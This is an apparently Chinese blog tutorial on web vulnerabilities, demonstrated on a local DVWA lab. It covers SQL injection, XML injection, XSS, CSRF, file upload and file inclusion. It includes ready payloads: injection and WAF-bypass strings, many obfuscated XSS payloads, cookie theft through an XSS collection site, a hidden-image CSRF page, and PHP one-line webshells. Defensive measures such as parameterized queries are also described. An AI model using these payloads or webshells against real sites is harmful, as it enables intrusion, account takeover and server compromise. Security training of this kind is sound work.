注(以下环境皆是自己在本机搭建,请勿在公网真实操作)

1.注入

1.1 SQL注入: 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。
手工注入:联合注入、盲注、延时注入等等
工具注入:sqlmap、啊D 等等
利用方法及其渗透思路,在前面的文章已经介绍过了:
https://blog.csdn.net/weixin_41516710/article/details/90740752
1.2 XML注入(XXE注入):
XML是The Extensible Markup Language(可扩展标识语言)的简写。XML最初设计的目的是弥补HTML的不足,后来逐渐用于网络数据的转换和描述。XML的设计宗旨是传输数据,而非显示数据。XML是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML中对数据的引用称为实体,实体中有一类叫外部实体,用来引入外部资源,有SYSTEM和PUBLIC两个关键字

目前,XML在WEB中的应用已经非常广泛。下面举一个简单的XML实例:

<?xml version="1.0" encoding="utf-8"><manager><admin id="1"><name>admin</name><password>admin</password><admin><admin id=2><name>root</name><password>root</password></admin></manager>

XML注入
XML与HTML一样,也存在注入攻击,甚至在注入的方法上也非常相似。
漏洞是在对非安全的外部实体数据进行处理时引发的安全问题。
对于上面的xml文件,如果攻击者能够掌控password字段,那么就会产生XML注入,如攻击者输入:

admin hackhacker

最终的修改后的XML为:

<?xml version="1.0" encoding="utf-8">
<manager><admin id="1"><name>admin</name><password>admin</password>
</admin>
<admin id="100"><name>hack</name><password>hacker</password>
</admin>

以上的代码相当于添加了一个名为hack、密码为:hacker的新的用户到管理员组内!

XML注入时的两大注意点:

(1)标签闭合(关键所在)
(2)获取XML的表结构
XML注入防御
(1)对用户的输入进行过滤
(2)对用户的输入进行转义
1.3 宽字节注入
当我们注入是使用的单引号、双引号等这些字符被转义时,这时我们可以用到宽字节注入。其原理很简单,代码对单引号、双引号等这些字符转义是使用“\”来转义,那么我们就让“\”失去原来的意思,我们只需在前面加个”%df”。因为ASCII码占用一个字节,GBK占用两个字节。在前端通常为一个字节的编码,服务器端为两字节的编码。“\”url编码为%5c,在前面加个%df,在后面加个引号,即 %5c\’ 会变成 %df%5c%27 。如果程序默认字符集是GBK这些两字节字符集的话,它会认为 %df%5c%27 是个宽字节,就解析成了 縗’ 。这是我们的单引号就绕过转义了。
POC:
http://127.0.0.1/index.php?id=1%df’ order by 2%23
在前面加个%df绕过转义,%23是注释符,也可以多加几个%df做引号闭合,看你怎么用了。
http://127.0.0.1/index.php?id=1%df’ union select 1,2,3%23
后面就和前面文章sql注入一样了。
1.4 Access数据库偏移注入
在注入时最烦的就是access数据库了,因为web权限低,没有对表的访问权限。在前面文章有access数据库的渗透具体过程。https://blog.csdn.net/weixin_41516710/article/details/90741228
那么access偏移注入是做什么用的呢?
它是在你知道数据库表名,但不知道列名时所用的。它可以直接爆破内容。
表名:admin

列数26:(order by 26 返回正确,order by 27 返回错误)

知道这些前提后,但在列名特别难爆破时,我们开始偏移注入。
先查看一下回显:(为2,3,7,9,15)
http://192.168.109.142/sql/ProductShow.asp?ID=114 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin

我们开始爆admin中的字段,用来代替其中的字段:
http://192.168.109.142/sql/ProductShow.asp?ID=114 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,
from admin

它会显示错误,我们不到减小数值,直到返回正确:
http://192.168.109.142/sql/ProductShow.asp?ID=114 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,* from admin
http://192.168.109.142/sql/ProductShow.asp?ID=114 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin

一直到23返回正确了,那么admin表中的字段就是3 因为26-23=3,其中就代表admin中的字段。
接下来利用内敛注入:
语句如下;
http://192.168.109.142/sql/ProductShow.asp?ID=114 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,
from (admin as a inner join admin as b on a.id=b.id)

没有报错,说明语法是正确的。那么会问为什么这里到20,而不是到23呢?因为使用了内敛注入,通过表的自连接,这里就有了两个表的字段,就是两个admin表的字段,每个是3,那么26-3-3=20 。通常id是表中常有的字段,所以我们用id来自连接,加入你知道其中表的一些其它字段也可以用。
那么现在还没爆出里面的内容,因为这里的回显最高是15,我们还要再加几层自连接。
http://192.168.109.142/sql/ProductShow.asp?ID=114 union select 1,2,3,4,5,6,7,8,9,10,11,* from ((((admin as a inner join admin as b on a.id=b.id)inner join admin as c on a.id=c.id)inner join admin as d on a.id=d.id)inner join admin as e on a.id=e.id)
根据计算,我们在前面加一点东西,打乱它的重组:
http://192.168.109.142/sql/ProductShow.asp?ID=114 union select 1,2,3,4,5,6,7,8,9,10,11,a.id,b.id,
from ((((admin as a inner join admin as b on a.id=b.id)inner join admin as c on a.id=c.id)inner join admin as d on a.id=d.id)inner join admin as e on a.id=e.id)

http://192.168.109.142/sql/ProductShow.asp?ID=114 union select 1,2,3,4,5,6,7,8,9,10,11,a.id,b.id,c.id,* from ((((admin as a inner join admin as b on a.id=b.id)inner join admin as c on a.id=c.id)inner join admin as d on a.id=d.id)inner join admin as e on a.id=e.id)

账号和密码就出来了,加这几个a.id,b.id,c.id是为了打乱它的重组,让这些id先显示,因为它是admin中的字段,回显15就会显示其它字段。
看看数据库,的确和我们爆破的一样:

注入防御
过滤,黑白名单
使用安全框架。使用安全函数
对数据库名,表名,列名 进行复杂化。是攻击者难以猜到。
最有效的防御SQL注入的方式是在所有的数据库操作上使用参数化查询(也被称为预编译)。预编译通过两步把可能存在危害的数据整合到SQL查询中。第一步,应用定义查询语句的结构,在语句中预留位置给用户输入。第二部,应用把每个位置需要的用户输入传递给数据库。因为第一步中,应用已经定义了语句的结构,数据库已经对语法进行了编译,第二部中及时传入恶意的用户输入也无法影响SQL语句的语意,从而避免了SQL注入攻击。对于不同的数据库和编程语言需要查询文档,寻找合适的api。强烈建议使用参数化处理SQL语句中的每一个变量。需要注意的是以下一些防御SQL注入的方式并不总是有效的,所以不建议大家使用以下的方式防御SQL注入:一种常见的方式是在用户数据拼接到SQL语句之前转义其中的单引号。这是为了避免用户插入单引号,改变了SQL的语法。但是如果变量类型是数字型,这种防御就可能失败。因为SQL语句结构中并没有单引号包裹变量的话,仅仅使用空格就可以改变语法结构。另一种常见的防御方案是使用存储过程。尽管存储过程提供了很多安全特性,但是并不能保证防御SQL注入。当存储过程中可以动态创建SQL结构的时候就可能会发生SQL注入
预处理
1、先看预处理的语法
$pdo->prepare(‘select * from biao1 where id=:id’);
$pdo->execute([’:id’=>4]);
2、语句一,服务器发送一条sql给mysql服务器,mysql服务器会解析这条sql。
语句二,服务器发送一条sql给mysql服务器,mysql服务器不会解析这条sql,只会把execute的参数当做纯参数赋值给语句一。哪怕参数中有sql命令也不会被执行,从而实现防治sql注入。
绕过防注入继续注入
大小写绕过:UniON SelEct username,fRoM admin
双写关键字:UnUnIoniON SeSELectlEct username,fRoM admin
双字节绕过:上面讲了

注释语句绕过(最常用)
用//代替空格,如:UNION // Select //username,from admin
用/
/分割敏感词,如:U// NION // SE// LECT //username from admin
内敛注释:/!And/ 1=1
多层内敛注释:/!/AnD//abd//ff// 1=1
%0a(回车)绕过:select%0a*%0afrom%0admin;
编码绕过:url编码,十六进制编码等等

2.Xss

Xss简单理解就是输入输出问题导致脚本语言的执行。
Xss分为3类:
非持久性:非持久性 XSS 也被称为反射性 XSS,是目前最普遍的类型,当攻击者提供了一些代码的时候, 服务器端马上就会返回页面的执行结果。比如输入一个url,服务器会解析这个url,并将解析结果返回给客户端。如果任何搜索的字符串都没有被 html 编码,假如在url后面加入恶意的js代码,服务器会执行这段代码,那么xss漏洞就产生了。

持久性 XSS:也叫做存储型 XSS。当攻击者提交到 web 应用 程序里的数据会永久性的存储到服务器的时候会产生这类漏洞,(比如数据库,文件系统,其他位置),之 后,如果没有经过 HTML 编码,当别人访问这个网页就会执行这段恶意代码。它的危害是很大的,因为它永久存储在服务器端。
基于 DOM 的 XSS:也叫做本地跨站,基于 html/xml 上叫做文档对象模型(DOM)的标准对象模型,这类 漏洞,问题出现在页面的客户端脚本上,比如,如果一个 javascript 脚本处理 url 请求参数,然后使用这 个参数值来显示给用户页面,没有经过任何编码,就会执行恶意代码。它与前面的不同的是,它不会经过服务器。
漏洞利用:
试探是否存在xss:

登录到一个xss在线站点,比如:http://webxss.top/
注册登录创建一个项目

管理员登录进去,查看留言

我们就得到了管理员的cookie

啊D注入工具:利用cookie登录进去

Waf绕过:
大小写,双写关键字,字符拼接,编码,使用其他标签等等。这里不多说了,根据具体的防御,利用对应的绕过方式,这里写几个payload:

<ScRipt>ALeRt(“XSS”);</sCRipT>
<sc<script>ript>alert(/xss/)</script>
<img/src="x"/onerror=alert("xss");>
<img src=x onerror=alert("xss");>
<imimgg srsrcc=x onerror=alert("xss");>
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
Unicode编码绕过
<img src="x" onerror="alert("xss");">
<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')">
url编码绕过
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))">
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
Ascii码绕过
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))">
hex绕过
<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>
八进制
<img src=x onerror=alert('\170\163\163')>
base64绕过
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))">
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="><svg onload=alert("xss");>
<iframe onload=alert("xss");></iframe>
<video><source onerror="alert(1)">
<audio src=x  onerror=alert("xss");>
<textarea onfocus=alert("xss"); autofocus>
<keygen autofocus onfocus=alert(1)> //仅限火狐

DVWA靶机实验:
等级:low 直接输入<script>alert(“xss”)</script>

等级:medium 直接输入<script>alert(“xss”)</script>没用
服务器端核心代码

<?php
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { $name = str_replace( '<script>', '', $_GET[ 'name' ] ); echo "<pre>Hello ${name}</pre>";
}
?>

他把<script>给过滤了,双写script就可以了:<sc<script>ript>alert(/xss/)</script>

等级:hight 直接输入<script>alert(“xss”)</script>没用
服务器端核心代码

<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); // Feedback for end user echo "<pre>Hello ${name}</pre>";
}
?>

它利用正则表达式script进行了过滤,我们采用其他标签:<img src=1 onerror=alert(/xss/)>

等级:Impossible

<?php
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );$name = htmlspecialchars( $_GET[ 'name' ] );echo "<pre>Hello ${name}</pre>";
}
generateSessionToken();
?>

它利用htmlspecialchars对输入进行实例化。大部分的xss姿势都防御了。

3.CSRF跨站请求伪造

当你访问网页,这个网页存在csrf漏洞的话,服务器会给你发送cookie。黑客诱导你访问其它恶意或者黑客的服务器,他会下发恶意指令,当你返回正常服务器,你已经携带了恶意代码,在你不知情的情况下执行危险行为,比如发送不良信息,转账等等。
DVWA实验:
级别:low
正常输入123456

密码被修改,看一下源码:

 <?php
if( isset( $_GET[ 'Change' ] ) ) {$pass_new  = $_GET[ 'password_new' ];$pass_conf = $_GET[ 'password_conf' ];if( $pass_new == $pass_conf ) {$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$pass_new = md5( $pass_new );$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );echo "<pre>Password Changed.</pre>";}else {echo "<pre>Passwords did not match.</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>

只做了简单比较pass_new=pass_conf输入新密码相同即可修改,没有做任何限制。
构造url:
http://192.168.109.136/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
只有用户点击了这个url就会把密码改成123456

直接修改,没有输入。但这url一眼就可以看出是恶意的,这是你可以搭一个服务器,把这代码放到服务器里或者图片里,让别人来访问你的服务器,执行这个payload。
比如在本地做一个1.html:

<img src="http://192.168.109.136/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0" style="display:none;"/><h1>404<h1><h2>文件找不到<h2>

当点击时,就触发了:

级别:Medium
在代码中加了referer字段,检查是否同源。我们将1.html改成192.168.109.136.html就可以绕过了。

4.文件上传漏洞

文件上传的时候并没有对格式做验证,导致用户可以上传任意文件和可执行脚本文件,那么这就是一个上传漏洞
流程
探测:
1.能否直接上传可执行文件
2.探测是否为本地上传限制:利用burpsuite进行报文拦截,上传可执行文件,查看是否有http请求携带上传的文件发给服务器
3.判断服务器是白名单验证还是黑名单验证
在图片上传处上传一个txt文件
如果黑名单
尝试将后缀名改成大小写
尝试找出被遗漏的黑名单
尝试使用最新出现后缀名
4.如果白名单
先收集目标的中间件信息,再推测可能存在对应的文件解析漏洞
一般在HTTP应答报文(server)中可能会携带服务器使用的中间件的信息

通常配合解析漏洞来上传,不同的中间件都有对应的解析漏洞:
IIS

IIS解析漏洞

IIS6.0解析利用方法有两种:

1:

在IIS6.0下,分号,冒号后面的不被解析,也就是说

wooyun.asp;123.jpg会被服务器看成是wooyun.asp
2:

当建立*.asa、*.asp格式的文件夹时,其目录下的任意文件都将被IIS当作asp文件来解析。

3.默认解析:

在默认Fast-CGI开启状况下,黑阔上传一个名字为wooyun.jpg,内容为

<?PHPfputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

的文件,然后访问wooyun.jpg/.php,在这个目录下就会生成一句话木马shell.php

IIS7.5 文件解析漏洞
test.jpg/.php
URL 中文件后缀是 .php ,便无论该文件是否存在,都直接交给 php 处理,而 php 又默认开启 “cgi.fix_pathinfo”, 会对文件进行 “ 修理 ” ,可谓 “ 修理 ” ?举个例子,当 php 遇到路径 “/aaa.xxx/bbb.yyy” 时,若 “/aaa.xxx/bbb.yyy” 不存在,则会去掉最后的 “bbb.yyy” ,然后判断 “/aaa.xxx” 是否存在,若存在,则把 “/aaa.xxx” 当作文件。
若有文件 test.jpg ,访问时在其后加 /.php ,便可以把 “test.jpg/.php” 交给 php , php 修理文件路径 “test.jpg/.php” 得到 ”test.jpg” ,该文件存在,便把该文件作为 php 程序执行了。

Apache

解析漏洞

后缀解析:test.php.x1.x2.x3

构造服务器端虚假扩展名检测上传

将一句话木马的文件名lubr.php改成lubr.php.abc。首先,服务器验证文件扩展名的时候,验证的是.abc,只要改扩展名不符合服务器端黑名单规则,即可上传。另外,当在浏览器端访问该文件时,Apache如果解析不了.abc扩展名,会向前寻找可解析的扩展名,即”.php”。一句话木马可以被解析,即可通过中国菜刀连接。

Apache是从右到左开始判断解析,如果为不可识别解析,就再往左判断

如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个wooyun.php.rara.jpg.png…(把你知道的常见后缀都写上…)去测试是否是合法后缀

经验之谈:php|php3|phtml|php4|php5多可被Apache解析
Nginx

Nginx<=0.8.37

在Fast-CGI关闭的情况下,Nginx<=0.8.37 依然存在解析漏洞

在一个文件路径(/xx.jpg)后面加上%00.php会将/xx.jpg%00.php 解析为 php 文件。

这是从/test.jpg/x.php 演变过来的,具体可以参考:Ngnix空字节可远程执行代码漏洞

DVWA实验:

级别:low
没有做任何过滤,直接上传脚本文件,<?php @eval($_POST['abc']);?>命名1.php。
用菜单连接,就可以控制服务器。
级别:midium
主要代码:

 <?php
if( isset( $_POST[ 'Upload' ] ) ) {// Where are we going to be writing to?$target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&( $uploaded_size < 100000 ) ) {echo '<pre>Your image was not uploaded.</pre>';}else {echo "<pre>{$target_path} succesfully uploaded!</pre>";}}else {echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';}
}
?>

限定了格式为image/jpeg或是png 大小小于100000字节的文件才能上传。

上传成功:

用菜单连接就可以了:


文件包含
分类:
1.本地文件包含
目的
获取目标网站的信息
利用本地文件包含去执行已经成功上传的木马、病毒等可执行文件
流程
探测
在文件包含url处,随意修改被包含的文件的目录;如果提示路径不存在等类似信息,存在文件包含漏洞;如果提示错误等信息
将被包含文件路径修改成自己想看的文件路径(/etc/passwd)
2.远程文件包含
目的
来包含其他服务器的文件,
上传a.jpg

菜刀连接:

web常见漏洞解析 注入 xss csrf 文件上传 文件包含 -dvwa演示相关推荐

  1. 通达OA任意文件上传/文件包含RCE漏洞分析

    通达OA任意文件上传/文件包含RCE漏洞分析 0x01 前提 0x01 漏洞介绍 0x02 漏洞分析 首先下载安装 绕过身份验证文件上传部分 变量传递问题 文件包含部分 0x01 前提 关于这个漏洞的 ...

  2. 渗透测试-文件上传/下载/包含

    渗透测试-文件上传/下载/包含 概述 一.常见校验上传文件的方法 客户端校验 服务器端校验 1.校验请求头 content-type字段 2. 正则匹配来判断文件幻数(文件头)内容是否符合要求 3. ...

  3. 【文件上传漏洞-02】利用PUT方法上传文件—以Apache为例

    目录 1 http协议请求方法概述 2 Apache开启PUT请求方法的过程 2.1 实验环境 2.3 查询已开启的请求类型 2.3 开启put方法 3 文件上传漏洞利用 3.1 上传PHP探针 3. ...

  4. 基于DVWA文件上传,包含漏洞,上传一句话木马基础分析

    木马 <?php @eval($_POST[value]); ?> 这是这个php程序,这个名字源于古希腊的传说这里就不说了,等于是一个别人家服务器在管理者不知情的情况下给你开了个后门你就 ...

  5. 通达OA文件上传+文件包含导致远程代码执行漏洞复现

    漏洞说明 通达OA是一套办公系统.近日通达OA官方在其官方论坛披露了近期一起通达OA用户服务器遭受勒索病毒攻击事件并发布了多个版本的漏洞补丁.漏洞类型为任意文件上传,受影响的版本存在文件包含漏洞. 未 ...

  6. Springboot实现文件上传文件压缩和前端展示

    最近公司要写一个文件上传和下载的需求,之前写过很多次了,今天做个记录,希望能帮助到大家*Controller 代码* @RestController @RequestMapping("/up ...

  7. 通达+oa+php+文件+乱,通达OA 任意文件上传+文件包含导致RCE

    0x00 漏洞描述 ispirit/im/upload.php存在绕过登录(任意文件上传漏洞),结合gateway.php处存在的文件包含漏洞,最终导致getshell,或者直接利用日志文件写入she ...

  8. Gin框架 静态文件上传文件

    一.静态文件 在工程目录下创建Assets文件夹,放入一些图片,如下 root@ubuntu:/SuperxonWebSite# tree . ├── assets │ ├── golang.jpeg ...

  9. Struts2 文件上传 文件类型 大小过滤

    使用Struts2上传文件,其实使用的是apache的 commons-fileupload-1.1.jar 在实际使用的过程中,配置了fileUpload拦截器并不能过滤上传的文件类型,只能处理大小 ...

最新文章

  1. 基于100,000篇演讲的分析数据科学家发现了最佳演讲者的特征——及时解释听众不懂的词语,必要时提高10%的音调,正确和恰当的手势,氛围的营造...
  2. 从零开始玩人工智能-人脸 API-03
  3. CF896E Welcome home,Chtholly/[Ynoi2018]五彩斑斓的世界(并查集+第二分块)
  4. Cisco路由器故障诊断技术(3)
  5. Python全栈开发之数据类型
  6. html5 canvas修改颜色,html5 canvas 笔记二(添加样式和颜色)
  7. java开发crm遇到的难点_CRM 2011 开发中遇到的问题小结
  8. Machine Learning Algorithms Study Notes--Supervised Learning
  9. 在ASP.NET中加密页面机制
  10. Neotec WELLFLO V8.1.6 油气井生产 模拟软件
  11. 计蒜客-三值排序(贪心)
  12. java.lang.UnsupportedOperationException: This parser does not support specification “null“ version “
  13. 支持树莓派的路由器系统_真香!国产64位树莓派系统上手评测
  14. Python读取视频方法
  15. 单片机流水灯工作原理
  16. asp站点服务器,ASP网站搭建 ASP服务器搭建 教程
  17. linux jar环境配置文件,启动jar包 指定配置文件和运行环境
  18. app每月签到功能简单实现
  19. python实现2000投影坐标转经纬度
  20. 收藏夹导出至html,分享win7电脑中三种导出浏览器收藏夹地址方法

热门文章

  1. Java泛型方法与普通成员方法以及案例说明(五)
  2. 计算机领域怎么研究区块链,计算机行业深度研究:跨链技术,区块链大航海时代的基石...
  3. win10连接虚拟机ftp服务器配置,win10虚拟机ftp服务器
  4. NR PUCCH(三) PUCCH resource 的配置与调用
  5. 新手GPU详细配置步骤
  6. 第7.5节 揭开Python类中self的面纱
  7. apache评分标准_危重病人APACHE II评分表(标准)
  8. 分享自己在uniapp开发中用的css样式
  9. SAS中常见的数组函数
  10. Deeplearning for NLP (简介)